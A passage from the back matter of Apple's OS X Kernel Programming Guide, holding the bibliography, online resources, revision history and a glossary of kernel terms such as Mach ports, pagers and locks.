1999. ISBN 1-56592-582-3. Proceedings of the First Conference on Freely Redistributable Software . Free Software Foundation. FSF, 1996. ISBN 1-882114-47-7. The UNIX Desk Reference: The hu.man Pages. Peter Dyson. Sybex, 1996. ISBN 0-7821-1658-2. The UNIX Programming Environment. Brian W. Kernighan, Rob Pike. Prentice Hall, 1984. ISBN 0-13-937681-X (paperback), ISBN 0-13-937699-2 (hardback). BSD and UNIX Internals Advanced Topics in UNIX: Processes, Files, and Systems. Ronald J. Leach. Wiley, 1996. ISBN 1-57176-159-4. The Complete FreeBSD. Greg Lehey, Walnut Creek CDROM Books, 1999. ISBN 1-57176-246-9. The Design and Implementation of the 4.4BSD Operating System. Marshall Kirk McKusick, et al. Addison-Wesley, 1996. ISBN 0-201-54979-4. The Design of the UNIX Operating System. Maurice J. Bach. Prentice Hall, 1986. ISBN 0-13-201799-7. Linux Kernel Internals 2nd edition . Michael Beck, et al. Addison-Wesley, 1997. ISBN 0-201-33143-8. Lions’ Commentary on UNIX 6th Edition with Source Code . John Lions. Peer-to-Peer, 1996. ISBN 1-57398-013-7. Panic!: UNIX System Crash Dump Analysis. Chris Drake, Kimberly Brown. Prentice Hall, 1995. ISBN 0-13-149386-8. UNIX Internals: The New Frontiers. Uresh Vahalia. Prentice-Hall, 1995. ISBN 0-13-101908-2. UNIX Systems for Modern Architectures: Symmetric Multiprocessing and Caching for Kernel Programmers. Curt Schimmel. Addison-Wesley, 1994. ISBN 0-201-63338-8. Optimizing PowerPC Code . Gary Kacmarcik. Addison-Wesley Publishing Company, 1995. ISBN 0-201-40839-2. BerkeleySoftwareArchitectureManual4.4BSDEdition .WilliamJoy,Robert Fabry, Samuel Leffler,M.KirkMcKusick, Michael Karels. Computer Systems Research Group, Computer Science Division, Department of Electrical Engineering and Computer Science, University of California, Berkeley. Bibliography BSD and UNIX Internals 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 176Mach CMU Computer Science: A 25th Anniversary Commemorative . Richard F. Rashid, Ed. ACM Press, 1991. ISBN 0-201-52899-1. Load Distribution, Implementation for the Mach Microkernel . Dejan S. Milojicic. Vieweg Verlag, 1994. ISBN 3-528-05424-7. Programming under Mach . Boykin, et al. Addison-Wesley, 1993. ISBN 0-201-52739-1. Mach Workshop Proceedings. USENIX Association. October, 1990. Mach Symposium Proceedings.USENIX Association. November, 1991. Mach III Symposium Proceedings. USENIX Association. April, 1993, ISBN 1-880446-49-9. Mach 3 Documentation Series. Open Group Research Institute (RI), now Silicomp: Final Draft Specifications OSF/1 1.3 Engineering Release . RI. May 1993. OSF Mach Final Draft Kernel Principles. RI. May, 1993. OSF Mach Final Draft Kernel Interfaces. RI. May, 1993. OSF Mach Final Draft Server Writer’s Guide . RI. May, 1993. OSF Mach Final Draft Server Library Interfaces, RI, May, 1993. Research Institute Microkernel Series. Open Group Research Institute (RI): Operating Systems Collected Papers. Volume I. RI. March, 1993. Operating Systems Collected Papers. Volume II. RI. October,1993. Operating Systems Collected Papers. Volume III. RI. April, 1994. Operating Systems Collected Papers. Volume IV. RI. October, 1995. Mach: A New Kernel Foundation for UNIX Development. Proceedings of the Summer 1986 USENIX Conference. Atlanta, GA., http://www.usenix.org. UNIX as an Application Program. Proceedings of the Summer 1990 USENIX Conference. Anaheim, CA., http://www.usenix.org. OSF RI papers (Spec ‘93): OSF Mach Final Draft Kernel Interfaces Bibliography Mach 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 177OSF Mach Final Draft Kernel Principles OSF Mach Final Draft Server Library Interfaces OSF Mach Final Draft Server Writer's Guide OSF Mach Kernel Interface Changes OSF RI papers (Spec ‘94): OSF RI 1994 Mach Kernel Interfaces Draft OSF RI 1994 Mach Kernel Interfaces Draft (Part A) OSF RI 1994 Mach Kernel Interfaces Draft (Part B) OSF RI 1994 Mach Kernel Interfaces Draft (Part C) OSF RI papers (miscellaneous): Debugging an object oriented system using the Mach interface Unix File Access and Caching in a Multicomputer Environment Untyped MIG: The Protocol Untyped MIG: What Has Changed and Migration Guide Towards a World-Wide Civilization of Objects A Preemptible Mach Kernel A Trusted, Scalable, Real-Time Operating System Environment Mach Scheduling Framework Networking UNIX Network Programming . Volume 1, Networking APIs: Sockets and XTI . W. Richard Stevens. Prentice Hall, 1998, ISBN 0-13-490012-X. UNIX Network Programming . Volume 2, Interprocess Communications. W. Richard Stevens. Prentice Hall, 1998. ISBN 0-13-081081-9. TCP/IP Illustrated . Volume 1, The Protocols. W. Richard Stevens. Addison-Wesley, 1994. ISBN 0-201-63346-9. Bibliography Networking 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 178TCP/IP Illustrated . Volume 2, The Implementation .W. Richard Stevens.Addison-Wesley, 1995. ISBN0-201-63354-X. TCP/IP Illustrated . Volume 3, TCP for Transactions, HTTP, NNTP, and the UNIX Domain Protocols. W. Richard Stevens. Addison-Wesley, 1996. ISBN 0-201-63495-3. Operating Systems Advanced Computer Architecture: Parallelism, Scalability, Programmability . Kai Hwang. McGraw-Hill, 1993. ISBN 0-07-031622-8. Concurrent Systems: An Integrated Approach to Operating Systems, Database, and Distributed Systems. Jean Bacon. Addison-Wesley, 1993. ISBN 0-201-41677-8. Distributed Operating Systems. Andrew S. Tanenbaum. Prentice Hall, 1995. ISBN 0-13-219908-4. Distributed Operating Systems: The Logical Design . A. Goscinski. Addison-Wesley, 1991. ISBN 0-201-41704-9. Distributed Systems, Concepts, and Designs. G. Coulouris, et al. Addison-Wesley, 1994. ISBN 0-201-62433-8. Operating System Concepts. 4th Ed., Abraham Silberschatz, Peter Galvin. Addison-Wesley, 1994. ISBN 0-201-50480-4. POSIX Information Technology-PortableOperating SystemInterface (POSIX): SystemApplication ProgramInterface (API) (C Language). ANSI/IEEE Std. 1003.1. 1996 Edition. ISO/IEC 9945-1: 1996. IEEE Standards Office. ISBN 1-55937-573-6. Programming with POSIX Threads. David R. Butenhof. Addison Wesley Longman, Inc., 1997. ISBN 0-201-63392-2. Programming Advanced Programming in theUNIX Environment. RichardW. Stevens.Addison-Wesley, 1992. ISBN0-201-56317-7. Debugging with GDB: The GNU Source-Level Debugger Eighth Edition for GDB version 5.0 . Richard Stallman et al. Cygnus Support. http://developer.apple.com/documentation/DeveloperTools/gdb/gdb/gdb_toc.html. Open Source Development with CVS , Karl Franz Fogel. Coriolis Group, 1999. ISBN: 1-57610-490-7. Porting UNIX Software: From Download to Debug . Greg Lehey. O’Reilly, 1995. ISBN 1-56592-126-7. Bibliography Operating Systems 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 179The Standard C Library . P.J. Plauger. Prentice Hall, 1992. ISBN 0-13-131509-9. Websites and Online Resources Apple’s developer website (http://www.apple.com/developer/) is a general repository for developer documentation. Additionally, the following sites provide more domain-specific information. Apple’s Public Source projects and Darwin http://www.opensource.apple.com/ The Berkeley Software Distribution (BSD) http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org BSD Networking http://www.kohala.com/start/ Embedded C++ http://www.caravan.net/ec2plus GDB, GNUPro Toolkit 99r1 Documentation http://www.redhat.com/docs/manuals/gnupro/ The Internet Engineering Task Force (IETF) http://www.ietf.org jam http://www.perforce.com/jam/jam.html The PowerPC CPU http://www.freescale.com/webapp/sps/site/homepage.jsp?nodeId=0162468rH3bTdG The Single UNIX Specification Version 2 http://www.opengroup.org/onlinepubs/007908799 Bibliography Websites and Online Resources 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 180The USENIX Association; USENIX Proceedings http://www.usenix.org http://www.usenix.org/publications/library/ Security and Cryptography Applied Cryptography: Protocols, Algorithms, and Source Code in C. Bruce Schneier. John Wiley & Sons, 1994. ISBN 0-471-59756-2. comp.security newsgroup (news:comp.security). comp.security.unix newsgroup (news:comp.security.unix). Computer Security . Dieter Gollmann. John Wiley and Son Ltd, 1999. ISBN 0-471-97844-2. Foundations of Cryptography . Oded Goldreich. Cambridge University Press, 2001. ISBN 0-521-79172-3. Secrets and Lies: Digital Security in a Networked World . Bruce Schneier. John Wiley & Sons, 2000. ISBN 0-471-25311-1. Bibliography Security and Cryptography 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 181This table describes the changes to Kernel Programming Guide . Date Notes 2012-02-16 Updated for OS X v10.7. Added a chapter that discusses the early stages of the boot process. “The Early Boot Process” (page 21) was formerly part of Daemons and Services Programming Guide , and was moved here during a reorganization of that book. 2011-03-08 2006-11-07 Added security information and improved kernel build instructions. 2006-10-03 Made minor corrections. 2006-05-23 Added a note about pmuflags to the debugging section. 2006-04-04 Removed out-of-date information for OS X v10.4. 2006-03-08 Updated some stale content for OS X version 10.4. 2006-01-10 Corrected locking prototypes. Made minor fixesto the file system section. Revised networking, synchronization, and kernel services APIs for OS X v10.4. 2005-11-09 Changed terminology from "fat binary" to "universal binary." Clarified the distinction between memory objects and VM objects. 2005-08-11 2005-07-07 Fixed minor errors in build instructions. 2005-06-04 Updated kernel build instructions for OS X v10.4; other minor fixes. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 182 Document Revision HistoryDate Notes Added information about generating NMI on newer hardware in OS X v10.4 and later; various other minor changes. 2005-04-29 2005-02-03 Made minor corrections. 2004-12-02 Made section number fix to man page reference in Chapter 14. 2004-11-01 Minor wording changes. Added details comparing current_task to mach_task_self. Added information about using AltiVec and floating point in the kernel. 2004-08-01 2003-09-01 Minor corrections to kernel build information Added information relating to Power Macintosh G5 VM issues and debugging. Clarified wait queue documentation (event_t). 2003-08-01 Minor update release. Added index and tweaked wording throughout. Fixed minor errata in debugging chapter. Added a few missing details in the security chapter and cleaned up the equations presented. Corrected a few very minor OS X v10.2-specific details that weren’t caught during the first revision. 2003-02-01 OS X v10.2 update release. Changed information on KEXT management, various small corrections (mainly wording improvements). 2002-08-01 Full web release to coincide with WWDC. Corrected a few minor errata from the previous release. 2002-06-01 2002-01-01 Initial partial web release. Document Revision History 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 183abstraction (v) The process of separating the interface to some functionality from the underlying implementation in such a way that the implementation can be changed without changing the way that piece of code is used. (n) The API (interface) for some piece of functionality that has been separated in this way. address space The virtual addressranges available to a given task (note: the task may be the kernel). In OS X, processes do not share the same address space. The addressspaces of multiple processes can, however, point to the same physical addressranges. This is referred to as shared memory. anonymous memory Virtual memory backed by the default pager to swap files, rather than by a persistent object. Anonymous memory is zero-initialized and exists only for the life of the task. See also default pager; task. API (application programming interface) The interface (calling convention) by which an application program accesses a service. This service may be provided by the operating system, by libraries, or by other parts of the application. Apple Public Source License Apple’s Open Source license, available at http://www.apple.com/publicsource. Darwin is distributed under this license. See also Open Source. AppleTalk A suite of network protocols that is standard on Macintosh computers. ASCII (American Standard Code for Information Interchange) A 7-bit character set (commonly represented using 8 bits) that defines 128 unique character codes. See also Unicode. BSD (Berkeley Software Distribution Formerly known as the Berkeley version of UNIX, BSD is now simply called the BSD operating system. The BSD portion of the OS X kernel is based on FreeBSD, a version of BSD. bundle A directory thatstores executable code and the software resources related to that code. Applications, plug-ins, and frameworks represent types of bundles. Except for frameworks, bundles are presented by the Finder as if they were a single file. Carbon An application environment in OS X that features a set of programming interfaces derived from earlier versions of the Mac OS. The Carbon APIs have been modified to work properly with OS X. Carbon applications can run in OS X, Mac OS 9, and all versions of Mac OS 8 later than Mac OS 8.1 (with appropriate libraries). Classic An application environment in OS X that lets users run non-Carbon legacy Mac OS software. It supports programs built for both Power PC and 68K processor architectures. clock An object used to abstract time in Mach. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 184 GlossaryCocoa An advanced object-oriented development platform on OS X. Cocoa is a set of frameworks with programming interfaces in both Java and Objective-C. It is based on the integration of OPENSTEP, Apple technologies, and Java. condition variable Essentially a wait queue with additional locking semantics. When a thread sleeps waiting for some event to occur, it releases a related lock so that another thread can cause that event to occur. When the second thread posts the event, the first thread wakes up, and, depending on the condition variable semantics used, either takes the lock immediately or begins waiting for the lock to become available. console (1) A text-based login environment that also displays system log messages, kernel panics, and other information. (2) A special window in OS X that displays messages that would be printed to the text console if the GUI were not in use. This window also displays output written to the standard error and standard output streams by applications launched from the Finder. (3) An application by the same name that displays the console window. control port In Mach, access to the control port allows an object to be manipulated. Also called the privileged port. See also port; name port. cooperative multitasking A multitasking environment in which a running programcan receive processing time only if other programs allow it; each application must give up control of the processor cooperatively in order to allow others to run. Mac OS 9 is a cooperative multitasking environment. See also preemptive multitasking. copy-on-write A delayed copy optimization used in Mach. The object to be copied is marked temporarily read-only. When a thread attempts to write to any page in that object, a trap occurs, and the kernel copies only the page or pages that are actually being modified. See also thread. daemon A long-lived process, usually without a visible user interface, that performs a system-related service. Daemons are usually spawned automatically by the system and may either live forever or be regenerated at intervals. They may also be spawned by other daemons. Darwin The core of OS X, Darwin is an Open Source project that includes the Darwin kernel, the BSD commands and C libraries, and several additional features.The Darwin kernel is synonymous with the OS X kernel. default pager In Mach, one of the built-in pagers. The default pager handles nonpersistent (anonymous)memory. See also anonymousmemory; vnode pager; pager. demand paging An operating-system facility that brings pages of data from disk into physical memory only as they are needed. DLIL (Data Link Interface Layer) The part of the OS X kernel’s networking infrastructure that provides the interface between protocol handling and network device driversin the I/O Kit. A generalization of the BSD “ifnet” architecture. DMA (direct memory access) A means of transferring data between host memory and a peripheral device without requiring the host processor to move the data itself. This reduces processor overhead for I/O operations and may reduce contention on the processor bus. Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 185driver Software that deals with getting data to and from a device, as well as control of that device. In the I/O Kit, an object that manages a piece of hardware (a device), implementing the appropriate I/O Kit abstractions for that device. See also object. DVD (Digital Versatile Disc) Originally, Digital Video Disc. An opticalstorage medium that provides greater capacity and bandwidth than CD-ROM; DVDs are frequently used for multimedia as well as data storage. dyld (dynamic link editor) A utility that allows programs to dynamically load (and link to) needed functions. EMMI (External Memory Management Interface) Mach’sinterface to memory objectsthat allowstheir contents to be contributed by user-mode tasks. See also external pager. Ethernet A family of high-speed local area network technologies in common use. Some common variants include 802.3 and 802.11 (Airport). exception An interruption to the normal flow of program control, caused by the program itself or by executing an illegal instruction. exception port A Mach port on which a task or thread receives messages when exceptions occur. external pager A module that manages the relationship between virtual memory and a backing store. External pagers are clients of Mach’s EMMI. The pager API is currently not exported to userspace. The built-in pagersin OS X are the default pager, the device pager, and the vnode pager. See also EMMI (External Memory Management Interface). family In the I/O Kit, a family defines a collection of software abstractions that are common to all devices of a particular category (for example, PCI, storage, USB). Families provide functionality and services to drivers. See also driver. FAT (file allocation table) A data structure used in the MS-DOS file system. Also synonymous with the file system that uses it. The FAT file system is also used as part of Microsoft Windows and has been adopted for use inside devices such as digital cameras. fat files See universal binaries. FIFO (first-in first-out) A data processing scheme in which data is read in the order in which it was written, processes are run in the order in which they were scheduled, and so forth. file descriptor A per-process unique, nonnegative integer used to identify an open file (or socket). firewall Software (or a computer running such software) that prevents unauthorized access to a network by users outside of the network. fixed-priority policy In Mach, a scheduling policy in which threads execute for a certain quantum of time, and then are put at the end of the queue of threads of equal priority. fork (1) A stream of data that can be opened and accessed individually under a common filename. The Macintosh Standard and Extended file systems store a separate “data” fork and a “resource” fork as part of every file; data in each fork can be accessed and manipulated independently of the other. (2) In BSD, fork is a system call that creates a new process. framework A bundle containing a dynamic shared library and associated resources, including image files, header files, and documentation. Frameworks Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 186are often used to provide an abstraction for manipulating device driver families from applications. FreeBSD A variant of the BSD operating system. See http://www.freebsd.org for details. gdb (GNU debugger) gdb is a powerful, source-level debugger with a command-line interface. gdb is a popular Open Source debugger and is included with the OS X developer tools. HFS (hierarchical file system) The Mac OS Standard file system format, used to represent a collection of files as a hierarchy of directories (folders), each of which may contain either files or foldersthemselves. HFS+ The Mac OS Extended file system format. This file system format was introduced as part of Mac OS 8.1, adding support for filenames longer than 31 characters, Unicode representation of file and directory names, and efficient operation on larger disks. host (1) The computer that is running (is host to) a particular program or service. The term is usually used to refer to a computer on a network. (2) In debugging, the computer that is running the debugger itself. In this context, the target is the machine running the application, kernel, or driver being debugged. host processor The microprocessor on which an application program resides. When an application is running, the host processor may call other, peripheral microprocessors, such as a digital signal processor, to perform specialized operations. IDE (integrated development environment) An application or set of tools that allows a programmer to write, compile, edit, and in some cases test and debug within an integrated, interactive environment. inheritance attribute In Mach, a value indicating the degree to which a parent process and its child process share pages in the parent process’s address space. A memory page can be inherited as copy-on-write, shared, or not at all. in-line data Data that’s included directly in a Mach message, rather than referred to by a pointer. See also out-of-line data. info plist See information property list. information property list A special form of property list with predefined keysforspecifying basic bundle attributes and information of interest, such as supported document types and offered services. See also bundle; property list. interrupt service thread A thread running in kernel space for handling I/O that is triggered by an interrupt, but does not run in an interrupt context. Also called an I/O service thread. I/O (input/output) The exchange of data between two parts of a computer system, usually between system memory and a peripheral device. I/O Kit Apple’s object-oriented I/O development model. The I/O Kit provides a framework for simplified driver development, supporting many families of devices. See also family. I/O service thread See interrupt service thread. IPC (interprocess communication) The transfer of information between processes or between the kernel and a process. IPL (interrupt priority level) A means of basic synchronization on uniprocessor systems in traditional BSD systems, set using the spl macro. Interrupts with lower priority than the current IPL will not be acted upon until the IPL is lowered. In many parts of the kernel, changing the IPL in OS X Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 187is not useful as a means ofsynchronization. New use of spl macros is discouraged. See also spl (set priority level). KDP The kernelshim used for communication with a remote debugger (gdb). Kerberos An authentication system based on symmetric key cryptography. Used in MIT Project Athena and adopted by the Open Software Foundation (OSF). kernel The complete OS X core operating-system environment that includes Mach, BSD, the I/O Kit, file systems, and networking components. kernel crash An unrecoverable system failure in the kernel caused by an illegal instruction, memory access exception, or other failure rather than explicitly triggered as in a panic. See also panic. kernel extension See KEXT (kernel extension). kernel mode See supervisor mode. kernel panic See panic. kernel port A Mach port whose receive right is held by the kernel. See also task port; thread port. KEXT (kernel extension) A bundle that extendsthe functionality of the kernel. The I/O Kit, File system, and Networking components are designed to allow and expect the creation and use of KEXTs. KEXT binary A file (or files) in Mach-O format, containing the actual binary code of a KEXT. A KEXT binary is the minimum unit of code that can be loaded into the kernel. Also called a kernel module or KMOD. See also KEXT (kernel extension); Mach-O. key signing In public key cryptography, to (electronically)state your trust that a public key really belongs to the person who claims to own it, and potentially that the person who claims to own it really is who he or she claims to be. KMOD (kernel module) See KEXT binary. lock A basic means of synchronizing multiple threads. Generally only one thread can “hold” a lock at any given time. While a thread is holding the lock, any other thread that tries to take it will wait, either by blocking or by spinning, depending on the nature of the lock. Some lock variants such as read-write locks allow multiple threads to hold a single lock under certain conditions. Mach The lowest level of the OS X kernel. Mach provides such basic services and abstractions as threads, tasks, ports, IPC, scheduling, physical and virtual address space management, VM, and timers. Mach-O Mach object file format. The preferred object file format for OS X. Mach server A task that providesservicesto clients, using a MIG-generated RPC interface. See also MIG (Mach interface generator). main thread By default, a process has one thread, the main thread. If a process has multiple threads, the main thread is the first thread in the process. A user process can use the POSIX thread API to create other user threads. makefile A makefile detailsthe files, dependencies, and rules by which an executable application is built. memory-mapped files A facility that maps virtual memory onto a physical file. Thereafter, any access to that part of virtual memory causes the corresponding page of the physical file to be accessed. The contents of the file can be changed by changing the contents in memory. Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 188memory object An object managed by a pager that represents the memory, file, or other storage that backs a VM object. See also pager. memory protection A system of memory management in which programs are prevented from being able to modify or corrupt the memory partition of another program, usually through the use of separate address spaces. message A unit of data sent by one task or thread that is guaranteed to be delivered atomically to another task or thread. In Mach, a message consists of a header and a variable-length body. Some system services are invoked by passing a message from a thread to the Mach port representing the task that provides the desired service. microkernel A kernel implementing a minimal set of abstractions. Typically, higher-level OS services such as file systems and device drivers are implemented in layers above a microkernel, possibly in trusted user-mode servers. OS X is a hybrid between microkernel and monolithic kernel architectures. See also monolithic kernel. MIG (Mach interface generator) (1) A family of software that generates and supports the use of a procedure call interface to Mach’s system of interprocess communication. (2) The interface description language supported by MIG. monolithic kernel A kernel architecture in which all pieces of the kernel are closely intertwined. A monolithic kernel providessubstantial performance improvements. It is difficult to evolve the individual components independently, however. The OS X kernel is a hybrid of the monolithic and microkernel models. See also microkernel. multicast A process in which a single packet can be addressed to multiple recipients. Multicast is used, for example, in streaming video, in which many megabytes of data are sent over the network. multihoming The ability to have multiple network addresses in one computer, usually on different networks. For example, multihoming might be used to create a system in which one address is used to talk to hosts outside a firewall and the other to talk to hosts inside; the computer provides facilities for passing information between the two. multitasking The concurrent execution of multiple programs. OS X uses preemptive multitasking. Mac OS 9 uses cooperative multitasking. mutex See mutex lock (mutual exclusion lock). mutex lock (mutual exclusion lock) A type of lock characterized by putting waiting threads to sleep until the lock is available. named (memory) entry A handle (a port) to a mappable object backed by a memory manager. The object can be a region or a memory object. name port In Mach, accessto the name port allows non-privileged operations against an object (for example, obtaining information about the object). In effect, it provides a name for the object without providing any significant access to the object. See also port; control port. named region In Mach, a form of named memory entry that provides a form of memory sharing. namespace An agreed-upon context in which names (identifiers) can be defined. Within a given namespace, all names must be unique. Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 189NAT (network address translation) A scheme that transforms network packets at a gateway so network addresses that are valid on one side of the gateway are translated into addresses that are valid on the other side. network A group of hosts that can communicate with each other. NFS (network file system) A commonly used file server protocol often found in UNIX and UNIX-based environments. NKE (network kernel extension) A type of KEXT that provides a way to extend and modify the networking infrastructure of OS X dynamically without recompiling or relinking the kernel. NMI (nonmaskable interrupt) An interrupt produced by a particular keyboard sequence or button that cannot be blocked in software. It can be used to interrupt a hung system, for example to drop into a debugger. nonsimple message In Mach, a message that contains either a reference to a port or a pointer to data. See also simple message. notify port A special Mach port that is part of a task. A task’s notify port receives messages from the kernel advising the task of changes in port access rights and of the status of messages it has sent. nub An I/O Kit object that represents a point of connection for a device or logical service. Each nub provides accessto the device orservice it represents, and provides such services as matching, arbitration, and power management. It is most common that a driver publishes one nub for each individual device or service it controls; it is possible for a driver that vends only a single device orservice to act asits own nub. NVRAM (nonvolatile RAM) RAM storage that retains its state even when the power is off. See also RAM (random-access memory). object (1) A collection of data. (2) In Mach, a collection of data, with permissions and ownership. (3) In object-oriented programming, an instance of a class. OHCI (Open Host Controller Interface) The register-level standards that are used by most USB and Firewire controller chips. Open Source Software that includesfreely available access to source code, redistribution, modification, and derived works. The full definition is available at http://www.opensource.org. Open Transport A communications architecture for implementing network protocols and other communication features on computers running classic Mac OS. Open Transport provides a set of programming interfacesthatsupports, among other things, both the AppleTalk and TCP/IP protocols. out-of-line data Data that’s passed by reference in a Mach message, rather than being included in the message. See also in-line data. packet An individual piece of information sent on a network. page (n) (1) The largest block of virtual address space for which the underlying physical address space is guaranteed contiguous—in other words, the unit of mapping between virtual and physical addresses. (2) logical page size: The minimum unit of information that an anonymous pager transfers between system memory and the backing store. (3) physical page size: The unit of information treated as a unit by a hardware MMU. The logical page size must be at least as large as the physical page size Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 190for hardware-based memory protection to be possible. (v) To move data between memory and a backing store. pager A module responsible for providing the data for the pages of a memory object. See also default pager; vnode pager. panic An unrecoverable system failure explicitly triggered by the kernel with a call to panic. See also kernel crash. PEF (Preferred Executable Format) The format of executable files used for applications and shared libraries in Mac OS 9; supported in OS X. The preferred format for OS X is Mach-O. physical address An address to which a hardware device,such as a memory chip, can directly respond. Programs, including the Mach kernel, use virtual addresses that are translated to physical addresses by mapping hardware controlled by the Mach kernel. pmap Part of Mach VM that provides an abstract way to set and fetch virtual to physical mappings from hardware. The pmap system is the machine-dependent layer of the VM system. port In Mach, a secure unidirectional channel for communication between tasks running on a single system. In IP transport protocols, an integer identifier used to select a receiving service for an incoming packet, or to specify the sender of an outgoing packet. port name In Mach, an integer index into a port namespace; a port right is specified with respect to its port name. See also port rights. portrights In Mach, the ability to send to or receive from a Mach port. Also known as port access rights. port set In Mach, a set of zero or more Mach ports. A thread can receive messages sent to any of the ports contained in a port set by specifying the port set as a parameter to msg_receive(). POSIX (Portable Operating System Interface) A standard that defines a set of operating-system services. It is supported by ISO/IEC, IEEE, and The Open Group. preemption The act of interrupting a currently running program in order to give time to another task. preemptive multitasking A type of multitasking in which the operating system can interrupt a currently running task in order to run another task, as needed. See also cooperative multitasking. priority In scheduling, a number that indicates how likely a thread is to run. The higher the thread’s priority, the more likely the thread isto run. See also scheduling policy. process A BSD abstraction for a running program. A process’s resources include an address space, threads, and file descriptors. In OS X, a process is based on one Mach task and one or more Mach threads. process identifier (PID), A number that uniquely identifies a process. Also called a process ID. programmed I/O I/O in which the CPU accomplishes data transfer with explicit load and store instructions to device registers, rather than DMA, and without the use of interrupts. This data transfer is often done in a byte-by-byte, or word-by-word fashion. Also known as direct or polled I/O. See also DMA (direct memory access). property list A textual way to represent data. Elements of the property list represent data of certain types,such as arrays, dictionaries, and strings. Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 191System routines allow programs to read property lists into memory and convert the textual data representation into “real” data. See also information property list. protected memory See memory protection. protocol handler A network module that extracts data from input packets (giving the data to interested programs) and inserts data into output packets(giving the output packet to the appropriate network device driver). pthreads The POSIX threads implementation. See also POSIX (Portable Operating System Interface); thread. quantum The fixed amount of time a thread or process can run before being preempted. RAM (random-access memory) Memory that a microprocessor can either read from or write to. real-time performance Performance characterized by guaranteed worst-case response times. Real-time support is important for applications such as multimedia. receive rights In Mach, the ability to receive messages on a Mach port. Only one task at a time can have receive rights for any one port. See also send rights. remote procedure call See RPC (remote procedure call). reply port A Mach port associated with a thread that is used in remote procedure calls. ROM (read-only memory) Memory that cannot be written to. root (1) An administrative account with special privileges. For example, only the root account can load kernel extensions.(2) In graph theory, the base of a tree. (3) root directory: The base of a file system tree. (4) root file system: The primary file system off which a computer boots, so named because it includes the root node of the file system tree. routine In Mach, a remote procedure call that returns a value. This can be used for synchronous or asynchronous operations. See also simpleroutine. RPC (remote procedure call) An interface to IPC that appears (to the caller) as an ordinary function call. In Mach, RPCs are implemented using MIG-generated interface libraries and Mach messages. scheduling The determination of when each process or task runs, including assignment of start times. scheduling policy In Mach, how the thread’s priority isset and under what circumstancesthe thread runs. See also priority. SCSI (Small Computer Systems Interface) A standard communications protocol used for connecting devicessuch as disk drivesto computers. Also, a family of physical bus designs and connectors commonly used to carry SCSI communication. semaphore Similar to a lock, except that a finite number of threads can be holding a semaphore at the same time. See also lock. send rights In Mach, the ability to send messages to a Mach port. Many tasks can have send rights for the same port. See also receive rights. session key In cryptography, a temporary key that is only used for one message, one connection session, orsimilar. Session keys are generally treated asshared secrets, and are frequently exchanged over a channel encrypted using public key cryptography. Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 192shadow object In Mach VM, a memory object that holds modified pages that originally belonged to another memory object. Thisis used when an object that was duplicated in a copy-on-write fashion is modified. If a page is not found in this shadow object, the original object is referenced. simple message In Mach, a message that contains neither references to ports nor pointers to data. See also nonsimple message. simpleroutine In Mach, a remote procedure call that does not return a value, and has no out or inout parameters. This can be used for asynchronous operations. See also routine. SMP (symmetric multiprocessing) A system architecture in which two or more processors are managed by one kernel, share the same memory, have equal access to I/O devices, and in which any task, including kernel tasks, can run on any processor. spinlock Any of a family of lock types characterized by continuously polling to see if a lock is available, rather than putting the waiting thread to sleep. spin/sleep lock Any of a family of lock types characterized by some combination of the behaviors of spinlocks and mutex (sleep) locks. spl (set priority level) A macro thatsetsthe current IPL. Interrupts with lower priority than the current IPL will not be acted upon until the IPL is lowered. The spl macros have no effect in many parts of OS X, so their use is discouraged as a means of synchronization in new programming except when modifying code that already uses spl macros. See also IPL (interrupt priority level). socket (1) In a user process, a file descriptor that has been allocated using socket(2). (2) In the kernel, the data structure allocated when the kernel’s implementation of the socket(2) call is made. (3) In AppleTalk protocols, a socket serves the same purpose as a port in IP transport protocols. submap A collection of mappingsin the VM system that is shared among multiple Mach tasks. supervisor mode Also known as kernel mode, the processor mode in which certain privileged instructions can be executed, including those related to page table management, cache management, clock setting, and so on. symmetric multiprocessing See SMP (symmetric multiprocessing). task A Mach abstraction, consisting of a virtual address space and a port namespace. A task itself performs no computation; rather, it isthe framework in which threads run. See also thread. task port A kernel port that represents a task and is used to manipulate that task. See also kernel port; thread port. TCP/IP (Transmission Control Protocol/Internet Protocol) An industry standard protocol used to deliver messages between computers over the network. TCP/IP is the primary networking protocol used in OS X. thread The unit of program execution. A thread consists of a program counter, a set of registers, and a stack pointer. See also task. thread port A kernel port that represents a thread and is used to manipulate that thread. See also kernel port; task port. thread-safe code Code that can be executed safely by multiple threads simultaneously. Glossary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 193time-sharing policy In Mach, a scheduling policy in which a thread’s priority is raised and lowered to balance its resource consumption against other timesharing threads. UDF (Universal Disk Format) The file system format used in DVD disks. UFS (UNIX file system) An industry standard file system format used in UNIX and similar operating systems such as BSD. UFS in OS X is a derivative of 4.4BSD UFS. Unicode A 16-bit character set that defines unique character codes for characters in a wide range of languages. Unlike ASCII, which defines 128 distinct characters typically represented in 8 bits, there are as many as 65,536 distinct Unicode characters that represent the unique characters used in most foreign languages. universal binaries Executable files containing object code for more than one machine architecture. UPL (universal page list) A data structure used when communicating with the virtual memory system. UPLs can be used to change the behavior of pages with respect to caching, permissions, mapping, and so on. USB (Universal Serial Bus) A multiplatform bus standard that can support up to 127 peripheral devices, including printers, digital cameras, keyboards and mice, and storage devices. UTF-8 (Unicode Transformation Format 8) A format used to represent a sequence of 16-bit Unicode characters with an equivalent sequence of 8-bit characters, none of which are zero. This sequence of characters can be represented using an ordinary C language string. VFS (virtual file system) A set of standard internal file-system interfaces and utilities that facilitate support for additional file 